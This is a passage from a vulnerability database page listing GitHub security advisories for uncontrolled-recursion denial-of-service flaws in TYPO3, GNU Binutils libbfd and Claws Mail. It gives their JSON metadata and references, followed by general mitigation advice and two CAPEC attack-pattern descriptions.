  "modified": "2022-12-13T17:02:09Z",
  "published": "2022-12-13T17:02:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3/typo3/security/advisories/GHSA-8c28-5mp7-v24h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23500"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3/typo3/commit/1e5f44417f031c9c5a9f9d09a6a841cf89aa7b7a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3/typo3/commit/73b46b6a627093112cfca4b895a198ca5e1970b7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms/CVE-2022-23500.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TYPO3/typo3"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-core-sa-2022-012"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TYPO3 CMS vulnerable to Denial of Service in Page Error Handling"
}

GHSA-8C3Q-4M86-34F8

Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2023-02-27 18:32
VLAI
Details

find_abstract_instance in dwarf2.c in the Binary File Descriptor (BFD) library (aka libbfd), as distributed in GNU Binutils 2.32, allows remote attackers to cause a denial of service (infinite recursion and application crash) via a crafted ELF file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-17450"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-10T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "find_abstract_instance in dwarf2.c in the Binary File Descriptor (BFD) library (aka libbfd), as distributed in GNU Binutils 2.32, allows remote attackers to cause a denial of service (infinite recursion and application crash) via a crafted ELF file.",
  "id": "GHSA-8c3q-4m86-34f8",
  "modified": "2023-02-27T18:32:10Z",
  "published": "2022-05-24T16:58:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17450"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202007-39"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20191024-0002"
    },
    {
      "type": "WEB",
      "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=25078"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4336-1"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00078.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-11/msg00004.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8F6J-9HH3-9C9X

Vulnerability from github – Published: 2022-05-24 17:24 – Updated: 2022-05-24 17:24
VLAI
Details

In imap_scan_tree_recursive in Claws Mail through 3.17.6, a malicious IMAP server can trigger stack consumption because of unlimited recursion into subdirectories during a rebuild of the folder tree.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-16094"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-07-28T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In imap_scan_tree_recursive in Claws Mail through 3.17.6, a malicious IMAP server can trigger stack consumption because of unlimited recursion into subdirectories during a rebuild of the folder tree.",
  "id": "GHSA-8f6j-9hh3-9c9x",
  "modified": "2022-05-24T17:24:33Z",
  "published": "2022-05-24T17:24:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16094"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3CRKHUOVTJBHT53J4CYU53PXYYQKSGEA"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JUBLHUG2UCXVABAGN5FVTD3AB3YKE5NN"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YNJIXYDMSXYDII4ERMQ4EEKZX64U3QR4"
    },
    {
      "type": "WEB",
      "url": "https://www.thewildbeast.co.uk/claws-mail/bugzilla/show_bug.cgi?id=4313"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation
Implementation

Ensure that an end condition will be reached under all logic conditions. The end condition may include checking against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.

Mitigation
Implementation

Increase the stack size.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.